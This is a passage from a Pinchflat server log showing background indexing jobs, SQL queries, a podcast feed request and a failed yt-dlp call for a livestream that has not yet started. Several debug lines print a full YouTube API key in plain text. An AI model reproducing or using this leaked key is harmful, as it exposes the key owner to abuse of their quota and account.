{"source":"oban","duration":9805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:47.112 [info] GET /sources/795ca408-4bd9-43e6-9cce-4e8e49187aca/feed.xml 16:25:47.112 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "795ca408-4bd9-43e6-9cce-4e8e49187aca"} Pipelines: [:maybe_basic_auth] 16:25:47.112 [debug] QUERY OK source="sources" db=0.1ms idle=1418.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["795ca408-4bd9-43e6-9cce-4e8e49187aca"] 16:25:47.114 [debug] QUERY OK source="media_items" db=1.4ms idle=606.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [36, 2000] 16:25:47.116 [debug] QUERY OK source="source_metadata" db=0.0ms idle=422.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [36] 16:25:47.116 [debug] QUERY OK source="media_metadata" db=0.0ms idle=422.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577909] 16:25:47.117 [info] Sent 200 in 4ms 16:26:00.392 [info] {"source":"oban","duration":159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:08.204 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0d/b1/0db11f34d4c7198ad1b2d9cbe47c6a71fde727e18f37a5cbde874aebdabdbd96.json --sleep-requests 87 --sleep-interval 70 --sleep-subtitles 79 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 16:26:08.204 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 16:26:08.204 [debug] QUERY OK source="media_items" db=0.4ms idle=1510.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 16:26:08.205 [debug] QUERY OK source="tasks" db=0.1ms idle=678.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268238, 19, ~U[2026-10-09 21:26:08Z], ~U[2026-10-09 21:26:08Z]] 16:26:08.206 [info] {"args":{"id":19},"id":5268173,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":165844153,"event":"job:stop","queue_time":948386,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:14.598 [info] {"source":"oban","duration":9839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:44.609 [info] {"source":"oban","duration":9748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.393 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:14.619 [info] {"source":"oban","duration":9976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":2} 16:27:27.616 [info] {"args":{"id":36},"id":5268199,"meta":{},"system_time":1791581247616278342,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:27.616 [debug] QUERY OK source="sources" db=0.0ms idle=1922.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:27:27.617 [debug] QUERY OK source="settings" db=0.5ms idle=1922.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:27.617 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:27.617 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:27.617 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:27:27.617 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:27.617 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:27.902 [debug] QUERY OK source="media_items" db=0.6ms idle=284.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "cvQ4mt95VD4", "nNl03lyJ0DY", "doFGXubmSDU", "qjCKMW5MmtI", "WJ4paCmvxRw", "UD9X5WxZ5nE", "s1khuVEDnpg", "s1F2wfUZYZQ", "Jm-6iviCl3k", "sz2u186BFek", "7iDmAl3xAIs", "jmrg7j5mhAc", "vWQ4T6rSI8I", "3xDmL9wrWHA", "EDe71YWP1PQ", "D1oCndkYDrU", "TRdwyWoFN2U", "cwXDjO_7tG0", "fPultyYlb-E", "PtCMsXYAPyc", "WVsG3daysEM", "NofmSGPCDr4", "63m_fsOE-eQ", "HC_kIVdg5CE", "YgMNE4C89EQ", "JrysfjSZRns", "MwllurO2M-Y", "G-2bgFvizNk", "gAiLAJ6jlbE", "voXclnaYIaE", "1YO2_PLGP-M", "GRH-Z7onr8k", "N36yb-X1LN0", "lW4DtROF2K4", "5WOfbrrmwYE", "Vwh9SpgU5UM", "pF7flwZJgLA", "BA-CE2hAIeY", "I0PX9qghK1M", "2Ft0NWeznB4", "dXHIMEH0tTo", "wWg_-RXVh2A", "kJC1l4__UhE", "pFiRYgvg69E", "Kf-67zxoUlw", "cDSiCPt2pKM", "fPOCtxWsBYs", "RYok1AdumBU", "YB_dhxAtTjU", ...] 16:27:27.903 [debug] QUERY OK source="media_items" db=0.8ms idle=285.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:27:27.904 [debug] QUERY OK source="tasks" db=0.1ms idle=286.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268239, 36, ~U[2026-10-09 21:27:27Z], ~U[2026-10-09 21:27:27Z]] 16:27:27.904 [info] {"args":{"id":36},"id":5268199,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":288218,"event":"job:stop","queue_time":233259,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:28.617 [info] {"args":{"id":2},"id":5268200,"meta":{},"system_time":1791581248617200259,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:28.617 [debug] QUERY OK source="sources" db=0.1ms idle=712.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:27:28.617 [debug] QUERY OK source="settings" db=0.1ms idle=712.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:28.617 [debug] QUERY OK source="media_profiles" db=0.1ms idle=706.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:28.618 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:28.618 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:27:28.618 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:28.618 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:28.902 [debug] QUERY OK source="media_items" db=0.6ms idle=284.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "dP91f2ZTcVo", "z8AtW0ufLuA", "NP7wz4bND3U", "ZF-AafvQZGI", "s3SdFYtRQB4", "9gxqJja_Uw8", "mQ4GG4As-so", "A2wtNp7A_pM", "PT8Iaeoah0A", "geN1VEZF1T0", "uzgWSN1aLt4", "aP68kBQDX2I", "6HcPlK1loWo", "NRhDHqEaXHc", "ijAISVpMIrs", "Dznsr0KN1XU", "2q5x8pdLRpo", "Olwjkt1QNTk", "MW_9s3Y_urI", "yYfActSoDbY", "u8R-bnz1MPU", "JmyepGMyt64", "42noFFM17NE", "AyaRzcapkZ0", "JOMaYjU4Gnw", "JivF-DgpiAE", "hgDGfh74pbw", "_YCDCBtjxrk", "alElfDsk9G8", "P5WzhbRbWKQ", "vVMZuSF7n24", "a2hhtkbcbtU", "MfwD2C4bvN0", "2qlV1KN_67Q", "m1PMTAEeywI", "BsWMWSI1uj4", "fgqKGIiP0SI", "WbO5wGNlrvk", "ezRmgQFaOc0", "WmzphlOwku8", "arA6Q45qTz0", "OpruRLLJC8Y", "R_bsecuV1OM", "w3E_LIeL4gY", "vI_aUzOCM9E", "lIHKjltoDvU", "jeW6dAHq2bQ", "Dwhvzwv7nTc", "zbqZ-0puJjg", ...] 16:27:28.906 [debug] QUERY OK source="media_items" db=2.7ms idle=285.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:27:28.906 [debug] QUERY OK source="tasks" db=0.1ms idle=288.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268240, 2, ~U[2026-10-09 21:27:28Z], ~U[2026-10-09 21:27:28Z]] 16:27:28.907 [info] {"args":{"id":2},"id":5268200,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":289772,"event":"job:stop","queue_time":444610,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:29.619 [info] {"args":{"id":22},"id":5268201,"meta":{},"system_time":1791581249619333235,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:29.619 [info] {"args":{"id":10},"id":5268202,"meta":{},"system_time":1791581249619362348,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:29.619 [debug] QUERY OK source="sources" db=0.1ms idle=712.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:27:29.619 [debug] QUERY OK source="sources" db=0.1ms idle=712.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:27:29.619 [debug] QUERY OK source="settings" db=0.0ms idle=706.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:29.620 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:29.620 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:29.620 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:29.620 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:29.620 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:27:29.620 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:29.620 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:27:29.620 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:29.620 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:29.620 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:29.620 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:29.881 [debug] QUERY OK source="media_items" db=0.5ms idle=260.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:27:29.882 [debug] QUERY OK source="media_items" db=0.3ms idle=262.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", 